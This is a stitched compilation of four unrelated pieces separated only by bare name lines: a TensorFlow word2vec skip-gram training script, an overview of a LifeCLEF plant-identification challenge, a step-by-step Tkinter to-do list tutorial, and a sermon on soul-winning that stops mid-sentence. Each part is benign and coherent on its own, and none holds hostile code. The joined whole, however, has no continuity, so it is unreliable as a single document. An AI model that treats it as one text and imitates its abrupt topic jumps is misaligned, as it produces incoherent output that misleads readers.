# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Multi-threaded word2vec mini-batched skip-gram model. Trains the model described in: (Mikolov, et. al.) Efficient Estimation of Word Representations in Vector Space ICLR 2013. http://arxiv.org/abs/1301.3781 This model does traditional minibatching. The key ops used are: * placeholder for feeding in tensors for each example. * embedding_lookup for fetching rows from the embedding matrix. * sigmoid_cross_entropy_with_logits to calculate the loss. * GradientDescentOptimizer for optimizing the loss. * skipgram custom op that does input processing. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import sys import threading import time from six.moves import xrange # pylint: disable=redefined-builtin import numpy as np import tensorflow as tf from tensorflow.models.embedding import gen_word2vec as word2vec flags = tf.app.flags flags.DEFINE_string("save_path", None, "Directory to write the model and " "training summaries.") flags.DEFINE_string("train_data", None, "Training text file. " "E.g., unzipped file http://mattmahoney.net/dc/text8.zip.") flags.DEFINE_string( "eval_data", None, "File consisting of analogies of four tokens." "embedding 2 - embedding 1 + embedding 3 should be close " "to embedding 4." "E.g. https://word2vec.googlecode.com/svn/trunk/questions-words.txt.") flags.DEFINE_integer("embedding_size", 200, "The embedding dimension size.") flags.DEFINE_integer( "epochs_to_train", 15, "Number of epochs to train. Each epoch processes the training data once " "completely.") flags.DEFINE_float("learning_rate", 0.2, "Initial learning rate.") flags.DEFINE_integer("num_neg_samples", 100, "Negative samples per training example.") flags.DEFINE_integer("batch_size", 16, "Number of training examples processed per step " "(size of a minibatch).") flags.DEFINE_integer("concurrent_steps", 12, "The number of concurrent training steps.") flags.DEFINE_integer("window_size", 5, "The number of words to predict to the left and right " "of the target word.") flags.DEFINE_integer("min_count", 5, "The minimum number of word occurrences for it to be " "included in the vocabulary.") flags.DEFINE_float("subsample", 1e-3, "Subsample threshold for word occurrence. Words that appear " "with higher frequency will be randomly down-sampled. Set " "to 0 to disable.") flags.DEFINE_boolean( "interactive", False, "If true, enters an IPython interactive session to play with the trained " "model. E.g., try model.analogy('france', 'paris', 'russia') and " "model.nearby(['proton', 'elephant', 'maxwell']") flags.DEFINE_integer("statistics_interval", 5, "Print statistics every n seconds.") flags.DEFINE_integer("summary_interval", 5, "Save training summary to file every n seconds (rounded " "up to statistics interval.") flags.DEFINE_integer("checkpoint_interval", 600, "Checkpoint the model (i.e. save the parameters) every n " "seconds (rounded up to statistics interval.") FLAGS = flags.FLAGS class Options(object): """Options used by our word2vec model.""" def __init__(self): # Model options. # Embedding dimension. self.emb_dim = FLAGS.embedding_size # Training options. # The training text file. self.train_data = FLAGS.train_data # Number of negative samples per example. self.num_samples = FLAGS.num_neg_samples # The initial learning rate. self.learning_rate = FLAGS.learning_rate # Number of epochs to train. After these many epochs, the learning # rate decays linearly to zero and the training stops. self.epochs_to_train = FLAGS.epochs_to_train # Concurrent training steps. self.concurrent_steps = FLAGS.concurrent_steps # Number of examples for one training step. self.batch_size = FLAGS.batch_size # The number of words to predict to the left and right of the target word. self.window_size = FLAGS.window_size # The minimum number of word occurrences for it to be included in the # vocabulary. self.min_count = FLAGS.min_count # Subsampling threshold for word occurrence. self.subsample = FLAGS.subsample # How often to print statistics. self.statistics_interval = FLAGS.statistics_interval # How often to write to the summary file (rounds up to the nearest # statistics_interval). self.summary_interval = FLAGS.summary_interval # How often to write checkpoints (rounds up to the nearest statistics # interval). self.checkpoint_interval = FLAGS.checkpoint_interval # Where to write out summaries. self.save_path = FLAGS.save_path # Eval options. # The text file for eval. self.eval_data = FLAGS.eval_data class Word2Vec(object): """Word2Vec model (Skipgram).""" def __init__(self, options, session): self._options = options self._session = session self._word2id = {} self._id2word = [] self.build_graph() self.build_eval_graph() self.save_vocab() self._read_analogies() def _read_analogies(self): """Reads through the analogy question file. Returns: questions: a [n, 4] numpy array containing the analogy question's word ids. questions_skipped: questions skipped due to unknown words. """ questions = [] questions_skipped = 0 with open(self._options.eval_data, "rb") as analogy_f: for line in analogy_f: if line.startswith(b":"): # Skip comments. continue words = line.strip().lower().split(b" ") ids = [self._word2id.get(w.strip()) for w in words] if None in ids or len(ids) != 4: questions_skipped += 1 else: questions.append(np.array(ids)) print("Eval analogy file: ", self._options.eval_data) print("Questions: ", len(questions)) print("Skipped: ", questions_skipped) self._analogy_questions = np.array(questions, dtype=np.int32) def forward(self, examples, labels): """Build the graph for the forward pass.""" opts = self._options # Declare all variables we need. # Embedding: [vocab_size, emb_dim] init_width = 0.5 / opts.emb_dim emb = tf.Variable( tf.random_uniform( [opts.vocab_size, opts.emb_dim], -init_width, init_width), name="emb") self._emb = emb # Softmax weight: [vocab_size, emb_dim]. Transposed. sm_w_t = tf.Variable( tf.zeros([opts.vocab_size, opts.emb_dim]), name="sm_w_t") # Softmax bias: [emb_dim]. sm_b = tf.Variable(tf.zeros([opts.vocab_size]), name="sm_b") # Global step: scalar, i.e., shape []. self.global_step = tf.Variable(0, name="global_step") # Nodes to compute the nce loss w/ candidate sampling. labels_matrix = tf.reshape( tf.cast(labels, dtype=tf.int64), [opts.batch_size, 1]) # Negative sampling. sampled_ids, _, _ = (tf.nn.fixed_unigram_candidate_sampler( true_classes=labels_matrix, num_true=1, num_sampled=opts.num_samples, unique=True, range_max=opts.vocab_size, distortion=0.75, unigrams=opts.vocab_counts.tolist())) # Embeddings for examples: [batch_size, emb_dim] example_emb = tf.nn.embedding_lookup(emb, examples) # Weights for labels: [batch_size, emb_dim] true_w = tf.nn.embedding_lookup(sm_w_t, labels) # Biases for labels: [batch_size, 1] true_b = tf.nn.embedding_lookup(sm_b, labels) # Weights for sampled ids: [num_sampled, emb_dim] sampled_w = tf.nn.embedding_lookup(sm_w_t, sampled_ids) # Biases for sampled ids: [num_sampled, 1] sampled_b = tf.nn.embedding_lookup(sm_b, sampled_ids) # True logits: [batch_size, 1] true_logits = tf.reduce_sum(tf.mul(example_emb, true_w), 1) + true_b # Sampled logits: [batch_size, num_sampled] # We replicate sampled noise lables for all examples in the batch # using the matmul. sampled_b_vec = tf.reshape(sampled_b, [opts.num_samples]) sampled_logits = tf.matmul(example_emb, sampled_w, transpose_b=True) + sampled_b_vec return true_logits, sampled_logits def nce_loss(self, true_logits, sampled_logits): """Build the graph for the NCE loss.""" # cross-entropy(logits, labels) opts = self._options true_xent = tf.nn.sigmoid_cross_entropy_with_logits( true_logits, tf.ones_like(true_logits)) sampled_xent = tf.nn.sigmoid_cross_entropy_with_logits( sampled_logits, tf.zeros_like(sampled_logits)) # NCE-loss is the sum of the true and noise (sampled words) # contributions, averaged over the batch. nce_loss_tensor = (tf.reduce_sum(true_xent) + tf.reduce_sum(sampled_xent)) / opts.batch_size return nce_loss_tensor def optimize(self, loss): """Build the graph to optimize the loss function.""" # Optimizer nodes. # Linear learning rate decay. opts = self._options words_to_train = float(opts.words_per_epoch * opts.epochs_to_train) lr = opts.learning_rate * tf.maximum( 0.0001, 1.0 - tf.cast(self._words, tf.float32) / words_to_train) self._lr = lr optimizer = tf.train.GradientDescentOptimizer(lr) train = optimizer.minimize(loss, global_step=self.global_step, gate_gradients=optimizer.GATE_NONE) self._train = train def build_eval_graph(self): """Build the eval graph.""" # Eval graph # Each analogy task is to predict the 4th word (d) given three # words: a, b, c. E.g., a=italy, b=rome, c=france, we should # predict d=paris. # The eval feeds three vectors of word ids for a, b, c, each of # which is of size N, where N is the number of analogies we want to # evaluate in one batch. analogy_a = tf.placeholder(dtype=tf.int32) # [N] analogy_b = tf.placeholder(dtype=tf.int32) # [N] analogy_c = tf.placeholder(dtype=tf.int32) # [N] # Normalized word embeddings of shape [vocab_size, emb_dim]. nemb = tf.nn.l2_normalize(self._emb, 1) # Each row of a_emb, b_emb, c_emb is a word's embedding vector. # They all have the shape [N, emb_dim] a_emb = tf.gather(nemb, analogy_a) # a's embs b_emb = tf.gather(nemb, analogy_b) # b's embs c_emb = tf.gather(nemb, analogy_c) # c's embs # We expect that d's embedding vectors on the unit hyper-sphere is # near: c_emb + (b_emb - a_emb), which has the shape [N, emb_dim]. target = c_emb + (b_emb - a_emb) # Compute cosine distance between each pair of target and vocab. # dist has shape [N, vocab_size]. dist = tf.matmul(target, nemb, transpose_b=True) # For each question (row in dist), find the top 4 words. _, pred_idx = tf.nn.top_k(dist, 4) # Nodes for computing neighbors for a given word according to # their cosine distance. nearby_word = tf.placeholder(dtype=tf.int32) # word id nearby_emb = tf.gather(nemb, nearby_word) nearby_dist = tf.matmul(nearby_emb, nemb, transpose_b=True) nearby_val, nearby_idx = tf.nn.top_k(nearby_dist, min(1000, self._options.vocab_size)) # Nodes in the construct graph which are used by training and # evaluation to run/feed/fetch. self._analogy_a = analogy_a self._analogy_b = analogy_b self._analogy_c = analogy_c self._analogy_pred_idx = pred_idx self._nearby_word = nearby_word self._nearby_val = nearby_val self._nearby_idx = nearby_idx def build_graph(self): """Build the graph for the full model.""" opts = self._options # The training data. A text file. (words, counts, words_per_epoch, self._epoch, self._words, examples, labels) = word2vec.skipgram(filename=opts.train_data, batch_size=opts.batch_size, window_size=opts.window_size, min_count=opts.min_count, subsample=opts.subsample) (opts.vocab_words, opts.vocab_counts, opts.words_per_epoch) = self._session.run([words, counts, words_per_epoch]) opts.vocab_size = len(opts.vocab_words) print("Data file: ", opts.train_data) print("Vocab size: ", opts.vocab_size - 1, " + UNK") print("Words per epoch: ", opts.words_per_epoch) self._examples = examples self._labels = labels self._id2word = opts.vocab_words for i, w in enumerate(self._id2word): self._word2id[w] = i true_logits, sampled_logits = self.forward(examples, labels) loss = self.nce_loss(true_logits, sampled_logits) tf.scalar_summary("NCE loss", loss) self._loss = loss self.optimize(loss) # Properly initialize all variables. tf.initialize_all_variables().run() self.saver = tf.train.Saver() def save_vocab(self): """Save the vocabulary to a file so the model can be reloaded.""" opts = self._options with open(os.path.join(opts.save_path, "vocab.txt"), "w") as f: for i in xrange(opts.vocab_size): f.write("%s %d\n" % (tf.compat.as_text(opts.vocab_words[i]), opts.vocab_counts[i])) def _train_thread_body(self): initial_epoch, = self._session.run([self._epoch]) while True: _, epoch = self._session.run([self._train, self._epoch]) if epoch != initial_epoch: break def train(self): """Train the model.""" opts = self._options initial_epoch, initial_words = self._session.run([self._epoch, self._words]) summary_op = tf.merge_all_summaries() summary_writer = tf.train.SummaryWriter(opts.save_path, graph_def=self._session.graph_def) workers = [] for _ in xrange(opts.concurrent_steps): t = threading.Thread(target=self._train_thread_body) t.start() workers.append(t) last_words, last_time, last_summary_time = initial_words, time.time(), 0 last_checkpoint_time = 0 while True: time.sleep(opts.statistics_interval) # Reports our progress once a while. (epoch, step, loss, words, lr) = self._session.run( [self._epoch, self.global_step, self._loss, self._words, self._lr]) now = time.time() last_words, last_time, rate = words, now, (words - last_words) / ( now - last_time) print("Epoch %4d Step %8d: lr = %5.3f loss = %6.2f words/sec = %8.0f\r" % (epoch, step, lr, loss, rate), end="") sys.stdout.flush() if now - last_summary_time > opts.summary_interval: summary_str = self._session.run(summary_op) summary_writer.add_summary(summary_str, step) last_summary_time = now if now - last_checkpoint_time > opts.checkpoint_interval: self.saver.save(self._session, opts.save_path + "model", global_step=step.astype(int)) last_checkpoint_time = now if epoch != initial_epoch: break for t in workers: t.join() return epoch def _predict(self, analogy): """Predict the top 4 answers for analogy questions.""" idx, = self._session.run([self._analogy_pred_idx], { self._analogy_a: analogy[:, 0], self._analogy_b: analogy[:, 1], self._analogy_c: analogy[:, 2] }) return idx def eval(self): """Evaluate analogy questions and reports accuracy.""" # How many questions we get right at precision@1. correct = 0 total = self._analogy_questions.shape[0] start = 0 while start < total: limit = start + 2500 sub = self._analogy_questions[start:limit, :] idx = self._predict(sub) start = limit for question in xrange(sub.shape[0]): for j in xrange(4): if idx[question, j] == sub[question, 3]: # Bingo! We predicted correctly. E.g., [italy, rome, france, paris]. correct += 1 break elif idx[question, j] in sub[question, :3]: # We need to skip words already in the question. continue else: # The correct label is not the precision@1 break print() print("Eval %4d/%d accuracy = %4.1f%%" % (correct, total, correct * 100.0 / total)) def analogy(self, w0, w1, w2): """Predict word w3 as in w0:w1 vs w2:w3.""" wid = np.array([[self._word2id.get(w, 0) for w in [w0, w1, w2]]]) idx = self._predict(wid) for c in [self._id2word[i] for i in idx[0, :]]: if c not in [w0, w1, w2]: return c return "unknown" def nearby(self, words, num=20): """Prints out nearby words given a list of words.""" ids = np.array([self._word2id.get(x, 0) for x in words]) vals, idx = self._session.run( [self._nearby_val, self._nearby_idx], {self._nearby_word: ids}) for i in xrange(len(words)): print("\n%s\n=====================================" % (words[i])) for (neighbor, distance) in zip(idx[i, :num], vals[i, :num]): print("%-20s %6.4f" % (self._id2word[neighbor], distance)) def _start_shell(local_ns=None): # An interactive shell is useful for debugging/development. import IPython user_ns = {} if local_ns: user_ns.update(local_ns) user_ns.update(globals()) IPython.start_ipython(argv=[], user_ns=user_ns) def main(_): """Train a word2vec model.""" if not FLAGS.train_data or not FLAGS.eval_data or not FLAGS.save_path: print("--train_data --eval_data and --save_path must be specified.") sys.exit(1) opts = Options() with tf.Graph().as_default(), tf.Session() as session: with tf.device("/cpu:0"): model = Word2Vec(opts, session) for _ in xrange(opts.epochs_to_train): model.train() # Process one epoch model.eval() # Eval analogies. # Perform a final save. model.saver.save(session, os.path.join(opts.save_path, "model.ckpt"), global_step=model.global_step) if FLAGS.interactive: # E.g., # [0]: model.analogy('france', 'paris', 'russia') # [1]: model.nearby(['proton', 'elephant', 'maxwell']) _start_shell(locals()) if __name__ == "__main__": tf.app.run()
ProjectIPB6
Task Overview Following the success of the four previous plant identification tasks (ImageCLEF 2011-13 ; LifeCLEF 2014), we are glad to organize this year a new challenge dedicated to botanical data. The task will be focused on tree, herbs and ferns species identification based on different types of images. Its main novelties compared to the last years will by : -"use of external resources" : it will be possible to use more external online resources (but strictly forbidden to used data from Tela Botanica website), as training data to enrich the provided one, - "species number" : the number of species (about 1 000 species), which is an important step towards covering the entire flora of a given region. Multi-image query The motivation of the task is to fit better with a real scenario where one user tries to identify a plant by observing its different organs, such as it has been demonstrated in [MAED2012]. Indeed, botanists usually observe simultaneously several organs like the leaves and the fruits or the flowers in order to disambiguate species which could be confused if only one organ were observed. Moreover, if only one organ is observed, such as the bark of a deciduous plant during winter where nothing else is observable, then the observation of this organ with several photos related to different point of views could be more informative than only one point of view. Thus, contrary to the 3 first years, the species identification task won't be image-centered but OBSERVATION-centered. The aim of the task is be to produce a list of relevant species for each observation of a plant of the test dataset, i.e. one or a set of several pictures related to a same event: one same person photographing several detailed views on various organs the same day with the same device with the same lightening conditions observing one same plant.
RahulPatil-Tech
to the left & scrollbar to the right so that they both appear parallel & perfect. Buttons: We will add two button widgets on the window. One is to add more tasks in Listbox and the other is to delete tasks from Listbox. Entry box: Users will type the task in the entry box which further will be displayed in the Listbox. Messagebox: The Python Tkinter message box is used to display an error message when the user clicks on the add button with an empty entry box. Code explanation for ToDo list in Python Tkinter In this section, we will understand the source code for the ToDo list in Python Tkinter. The entire code is explained in a sequence of creation. Step 1 : Import Modules Before we start using Tkinter, we need to call Tkinter for use. so we import the module. Here * means everything. So we are importing everything from Tkinter then in the second line we have imported message box from Tkinter from tkinter import * from tkinter import messagebox Step 2: Create & Configure Window After importing module, we will create a window so that we can place widgets on it. ws is used to initialize Tk(). From now ws will be called as the parent window. All other widgets will be placed on it. ws.geometry(‘width x height + x-position+ y-position’) All the values provided must be integers. the width refers to the horizontal space of the window. height refers to the vertical space of the window. x-position refers to the position of the window on the display over the x-axis. y-position refers to the position of the window on the display over the y-axis. the title will add a title to the window. In our case, we have provided our website name as a title. You can find the title on the top left of the window next to feather. config is used to provide background color to the window. resizable accepts boolean values. Since the boolean values are provided false for both height and width that means the window can’t be resized. To know more about resizable please read our blog on python Tkinter windows size. ws.mainloop() holds the screen so that we can see the window. It is an infinite loop. screen pops up and then disappears but with this infinite loop this process of appearing & disappearing keeps on happening very fast. And we keep on seeing the updated window. ws = Tk() ws.geometry('500x450+500+200') ws.title('PythonGuides') ws.config(bg='#223441') ws.resizable(width=False, height=False) .... .... ws.mainloop() Step 3: Creating a frame In this section we will understand why we have used frames as a first widget in our code. Frame widgets are used to hold other widgets. They help in keeping & maintaining user interface (UI) & user experience (UX) clean & organized. Moving forward we will place Listbox, scrollbars & buttons inside the frame. So in this way frame will act as an additional window over the parent window. Another benefit of placing a frame is now we will add scrollbars to the frame and that solves our purpose. Scrollbars are no easy to place but using frames we can do it in no time. pady=10 means we have added extra padding around the frame from outside. frame = Frame(ws) frame.pack(pady=10) Step 4: Adding Listbox In this section, we will learn why and how we have used Listbox on the window. lb is the variable name for storing Listbox. Listbox is placed on the frame window. width: Horizontal space provided is 25. height: 8 rows in the vertical position are provided. font: Times New Roman font is provided with 14 sizes. bd = 0 refers to the border is zero fg is the foreground color or the text color. highlightthickness=0 every time the focus is moved to any item then it should not show any movement that is value 0 value is provided. by default it has some value. selectbackground it decides the color of the focused item in the Listbox. activestyle=”none” removes the underline that appears when the item is selected or focused. geometry manager used is pack() side=LEFTthis will keep the Listbox to the left side of the frame. We did this on purpose so that we can assign the right position to scrollbars. fill=BOTH this will fill the blank space in both the directions that are x and y lb = Listbox( frame, width=25, height=8, font=('Times', 18), bd=0, fg='#464646', highlightthickness=0, selectbackground='#a6a6a6', activestyle="none", ) lb.pack(side=LEFT, fill=BOTH) Step 5: Adding dummy data We have added dummy data so that the application is ready to view. You add or delete whatever data you want. the data is in a list format and is stored in a variable named task_list. for loop is used to insert data in the Listbox. every time loop runs it adds an item to the Listbox & this process keeps on going until all the items in the task_list are inserted. lb.insert(END, item) this command stacks the items in Listbox. lb is the variable used for Listbox insert is a built-in method of Listbox to insert data. END signifies that a new item will be added in the end. If END is replaced with 0 then new data will be added at the top. item is the list item from task_list task_list = [ 'Eat apple', 'drink water', 'go gym', 'write software', 'write documentation', 'take a nap', 'Learn something', 'paint canvas' ] for item in task_list: lb.insert(END, item) Step 6: Adding Scrollbars In this section, we will understand why and how scrollbars are added to the window. Scrollbars are used so that users can scroll the information that is placed in a limited size on the window. In this scrollbars are placed on a frame and the variable assigned is sb The geometry method used is a pack() so that everything remains dynamic and in a sequence. side=RIGHT we have placed scrollbars on the right side of the frame. In the above code, we have provided side=LEFT to Listbox. So in this way, both the widgets are assigned paralleled. fill=BOTH this will fill the blank space in both the directions that are x and y lb.config(yscrollcommand=sb.set) here we have assigned a purpose to the scrollbar. In other words, we have bind Listbox with scrollbar sb.config(command=lb.yview), here yview means scrollbar will go in the vertical direction. If it would have been xview then the scrollbar would have worked in the horizontal direction. sb = Scrollbar(frame) sb.pack(side=RIGHT, fill=BOTH) lb.config(yscrollcommand=sb.set) sb.config(command=lb.yview) Step 7: Adding Entry Box Entry box is used to take input from the user. ws: entry box is placed on the parent window font: provides font name i.e ‘Times New Roman’ and size is 14 Geometry manager used is pack with padding of 20 outside the widget my_entry = Entry( ws, font=('times', 24) ) my_entry.pack(pady=20) Step: 8 Adding another frame for buttons Frames are used to organise the widgets. We have used separate frame for buttons. button_frame = Frame(ws) button_frame.pack(pady=20) Step 9: Adding Buttons Buttons are placed to trigger some action when pressed. Here we have created two button (addTask & deleteTask). Both of them have same features and look accept the background color and command. Command: When button is clicked the the function mentioned in command is called. In this case if user clicks on addTask_btn button then newTask function is called & when user clicks on the delTask_btn Button then delTask function is called. addTask_btn = Button( button_frame, text='Add Task', font=('times 14'), bg='#c5f776', padx=20, pady=10, command=newTask ) addTask_btn.pack(fill=BOTH, expand=True, side=LEFT) delTask_btn = Button( button_frame, text='Delete Task', font=('times 14'), bg='#ff8b61', padx=20, pady=10, command=deleteTask ) delTask_btn.pack(fill=BOTH, expand=True, side=LEFT) Step 10: newTask() function In this function, we have stored the value of the entry box in the task variable get() method is used to pull the value provided by the user in the entry box. If-else condition is applied to avoid black space entry in the Listbox. if the task does not have blank space then only it will allow it to store the information in the Listbox otherwise it will display a warning message box informing the user that the entry box can’t be empty. def newTask(): task = my_entry.get() if task != "": lb.insert(END, task) my_entry.delete(0, "end") else: messagebox.showwarning("warning", "Please enter some task.") Step 11: deleteTask() function Here ANCHOR refers to the selected item in the Listbox. lb variable assigned to Listbox delete is a built-in function to delete Listbox item. User will select the item in the Listbox and then to trigger this function he/she will click on the deleteTask button. Immediately the item will disappear from the Listbox. def deleteTask(): lb.delete(ANCHOR)
jamesfoster12
The Effective Soul-Winner by Charles C. Cook (1861-19??) When Paul was writing the second letter to Timothy, he summed up the practical purpose of Scripture in the words, "All Scripture ... is profitable ... that the man of God may be perfect, throughly furnished unto all good works" (2 Tim. 3:16, 17). The greatest vocation under the sun is that of the soul-winner, and we ought to give serious consideration to the preparation for it. In Great Britain, in every department of life, there is an increasing demand for efficiency. The slacker is in for a hard time, and a man or woman in business or in a profession must be completely furnished for his or her life purpose. Ought we to be content with a lower standard in the service of Christ? I believe that the Lord Jesus Christ has a right to demand the very best that we can offer Him, and I am perfectly sure that we shall never be truly yielded in His sight unless we offer to Him all the potentialities of our ransomed personality-body, mind and spirit. You remember what Paul says: "Study to shew thyself approved unto God, a workman that needeth not to be ashamed, rightly dividing the Word of truth" (2 Tim. 2:15). That was Charles Alexander's watchword, and it is engraved on his tombstone in Birmingham, England: "Study to shew thyself approved unto God." Be Sure of Your Conversion Let me remind you of a few essentials if you are to be an effective winner of souls. First of all, and needless to say, we must be very sure of our own conversion. And yet, I wonder, is it needless to say it? Two hundred and fifty years ago, Richard Baxter declared, "Many a preacher is now in hell that hath an hundred times called upon his hearers to use every care and diligence to escape it." When I first read that I was inclined to think it was an exaggeration, but in the light of further and wider experience, I am inclined to think that Richard Baxter was right. Yes, it is possible to warn men to flee from the wrath to come and yet not to have fled from it oneself. And then I suggest that we try to keep the freshness and the wonder of our conversion experience. God forbid that we should ever come to regard it as one of the commonplaces of life. A friend of mine years ago whimsically said to me, "I was converted to God forty years ago, and I never got over it!" It is a great thing to live with a constant sense of wonder that the grace of God has reached us and saved us. In the second place, if we are to be effective soul-winners we must have a pure and unselfish motive. We must be "approved unto God." That is one of the picturesque expressions of the New Testament. It means being subjected to drastic tests. I found an illustration of that in Saturday's Daily News. Here is a picture of a worker in a foundry taking molten steel from the furnace. From there it goes to the laboratory where it is subjected to the close scrutiny of metallurgical experts. The fire will try every man's work. Study give diligence-says Paul, to be approved unto God—to be bright metal cleansed from every bit of dross, effective for its purpose. Oh, let us beware lest there is any alloy mixed with our motive! Beware of trying to gain a reputation for ourselves as a soul-winner instead of seeking the glory of Christ. I think the most outrageous example I ever came across was when a man actually advertised himself after this fashion: "I will gain for you fifteen church members in a week, or I will give you twenty pounds." Fancy a man making a bet as to how many souls he was going to win for Christ in a week! All reputations of that character are bubbles that will soon burst and disappear. When D. L. Moody was asked upon one occasion how many converts he had made, he answered, "I don't keep the Lamb's book of life." We can leave the results to God! Make Large Use of the Bible Then, in the third place, we must be men and women of the Book. In the story of the Ethiopian eunuch (Acts 8), three essential things are mentioned: (1) There is an anxious inquirer; (2) there is a copy of the Scriptures; (3) there is a man on the lookout to win a soul for Christ. Philip could have done very little with the eunuch if he had not had a copy of the Scriptures before him. From the Scriptures, Philip "preached unto him Jesus." Have you noticed what a large place the Scriptures occupied in our Lord's ministry? His whole personal life was nourished and built up upon the Word of God. And in all His public work it was to the Word of God that He turned again and again. When He met the tempter in the wilderness, He vanquished him by quotations from the Word of God. It was the same with the apostles and in the experience of the early Church. What a wonderful regard Peter, Paul, John and the rest of the apostles had for the Scriptures! We might follow on through the whole history of the Church of Christ and find the same thing repeating itself. Some of the mightiest soul-winners were the Puritans. What was the secret of their success? It was because they were men who from morning to night steeped themselves in the Word of God. I remember reading somewhere that Dr. R. A. Torrey said, "There are four reasons why every Christian worker should know his Bible: First, to show men their need of a Savior; second, to show them that Jesus is the Savior they need; third, to show them how to make this Savior their Savior; and finally, to deal with specific difficulties that stand in the way of their accepting Christ." I suppose you know everything about D. L. Moody in the Institute, but may I remind you how Henry Moorhouse taught Moody this secret? Moorhouse said to him, "You are making a mistake in giving people your own words. Give them the Word of God, and you will learn the secret of power. " And about thirty years earlier Robert Murray McCheyne, of Dundee, had said a similar thing: "It is not our comments upon the Word that bring life; it is the Word itself." Our comments are like the feathers of an arrow which guide the arrow of the Word to its mark, but it is the Word itself that gets home. A Personal Testimony It is a great delight to see so many young faces before me, and it is for their sake in particular that I mention these things. Some of you may say, "How can I gain this facility in the Word of God? How can I know instantly where to turn for an appropriate passage?" I suppose there are various methods. I will give you a little bit of my own experience. In my early Christian life I was greatly helped by reading everything I could lay my hands on that D. L. Moody wrote. Later on, Dr. Torrey came on the scene, and I began to read his books. I remember that he brought out what was called The Vest Pocket Companion. It was a very simple arrangement of Scripture verses under various topics so that one could very readily find an appropriate text on a given topic. That book was very useful to me as an inexperienced beginner. There are others who have adopted the method of underlining specified passages of Scripture with different colored inks: underlining in black references to sin and condemnation; underlining in red references to the death of Christ and the efficacy of the shed blood, and so on. I have not followed that method, but I know others who have found it useful. But let me say this: Such methods are all right to begin with, but you have not developed much if after ten years of Christian work in soul-winning you are still as dependent upon such aids as you were at the beginning. I am quite sure Dr. Torrey never meant his book to be more than an introduction, a method of guidance in the use of Scripture for the beginner. You ought to become so expert in the Word of God that without even the need of colored inks you can turn to the passage that you know is appropriate to the point under discussion. Dr. Handley Moule, late Bishop of Durham, used to say that every Christian should know his Bible as much as a Londoner knows his London. London is a huge city, spread out much more than Chicago or New York. I do not know every street, but I know whether a particular district is north or west or south or east. I know the main thoroughfares and many of the side streets, and that is how we ought to be able to know our way about the Scriptures. We ought to know the large areas of the Word of God. We ought to know the theme of every book and the main lines of the history or the argument of an epistle. Whatever method you begin with, aim at least at that, and use all the aids that will enable you to become proficient in the knowledge of the Word of God. Make much use of concordances, as Moody used to urge us to do, and the other helps that in these days are so abundant. Value of Hard Work Perhaps you say, "If I am going to do this, it is going to involve much time and labor. " Well, my friends, what else do you expect? If you are going to enter trade or industry-if you are going to be a lawyer, a medical man, an army officer or a nurse-in order to become proficient, you have to study hard. You have to live laborious days and pass the most severe examinations and gain a diploma before you even begin your career. As I said at the beginning, there is no higher or more important vocation upon earth than to be a soul-winner. Do you imagine that to save a soul from eternal death is one of the unskilled occupations? Thank God, He can and He does use the humblest and the least instructed believer. The Lord will make you a soul-winner from the beginning if all your heart goes out in desire for the salvation of men and women. But the more you understand the significance of your work, the more you will come to realize that a man who is going to become skilled in the winning of souls is the man who must give diligence to the task and attention to methods by which the Lord can make him more helpful to those in need. Beware of the man who comes to you and says, "Never mind about such things. After all, the apostles were untrained men. " I do not believe that a greater untruth has ever been uttered than that. The apostles attended the finest theological college the world has ever known. For three years they had personal tuition in the things of God by none other than the infallible Son of God Himself. There never was such a college as that in Galilee, when Peter, James and John and the others followed the Lord. In the New Testament we have recorded for us the lessons that those men were taught, so that as we read the Gospels and ponder the things our Lord said to His disciples and the object lessons He gave them in the miracles, we, too, are attending the Bible school of Christ. And when we read Paul's thirteen epistles, we join the apostle Paul's correspondence school. Yes, we have the same curriculum as the men our Lord commissioned at the first to go into all the world and preach the Gospel to every creature. Value of Bible Training Though some here may not have opportunity to attend a Bible school, you have the Word of God in your hand, and you have the Spirit, who gave the Word, as the interpreter. Even though you have no other help, yet with the Word itself and prayer and dependence upon the Holy Spirit, you can become wise in the things of Christ. I have known men who have acquired a liberal education simply because they have steeped themselves in the Bible. Sometimes I have listened to an eloquent message from a simple, unlettered, working man, made eloquent because he has given years to the reading of the Word of God so that it is stored in his memory and has transformed his whole vocabulary. Such is the power of the Word of God to edify and to build up. Remember also that though we may acquire technical efficiency, yet if we lack a passion for souls, our labor will be in vain. We must see to it that our intellectual training does not outpace our growth in the Spirit. As we seek to know how to find the appropriate Scripture to fit every case, so also we must keep flaming in our hearts the fire of a great love and compassion for those who are perishing. I should like to add: A Word of Encouragement We are apt to associate soul-winning with those engaged in pulpit ministry. It may be that I am speaking to some Sunday School teacher, and the thought uppermost in that teacher's mind may be, "If I could be like some of these world-famed evangelists and preachers; if only I could be used of God and see scores coming out for Christ in the public assembly-then, indeed, I feel that my life would be lived for some purpose. But I cannot speak on the public platform. I can only teach a few children." Now, my brother, my sister, remember that you can be as effective a soul-winner where God has placed you as the man who is used by Him to bring about hundreds and thousands of public decisions. Whatever our gifts and whatever our opportunities, we can all have an equal measure, if we will, of the passion for souls. And our special God-given work can be as truly directed to a soul-winning end as that of any other. Among the books that have been of great inspiration to me in past years is The Life of William Carey. Now I venture to say that when year after year William Carey was toiling at translating the Scriptures into Sanskrit and other languages of the East, his literary labor was as truly directed to a soul-winning purpose and was inspired by as true a passion for souls as was the evangelistic work of D. L. Moody on the public platform. Moody would have been the first to acknowledge that. At the end of his forty years in India, how many souls could Carey reckon he had won directly to Christ through his instrumentality? Nothing like the number Spurgeon or Moody saved from their preaching. But Carey placed the Scriptures in the hands of missionaries and native workers, an how many souls have been won since because of the labor of William Carey to give the Scriptures to the East? How Christian Businessmen Help Those splendid businessmen who rallied around D. L. Moody and gave him money to establish his institutions were men who labored in business for the glory of Christ and with a soul-winning purpose. I emphasize this fact for the encouragement of anyone who may imagine that because his own gifts a inconspicuous, therefore, his life is less effective than the lives of others. What value do we attach to a human soul? That is the test by which to examine our lives. If we can move among men who are careless and indifferent, perhaps openly skeptical and unbelieving, and yet not be stirred to the depths of our being, there is something wrong with us. It is so easy to become professional in our work. May God save us from being professional preachers or professional pastors, or professional editors! May God give us fire and passion! Do we value souls? Oh, that men and women may become impressed with the fact that we are in dead earnest! Bishop Phillips Brooks quoted a man who said to a 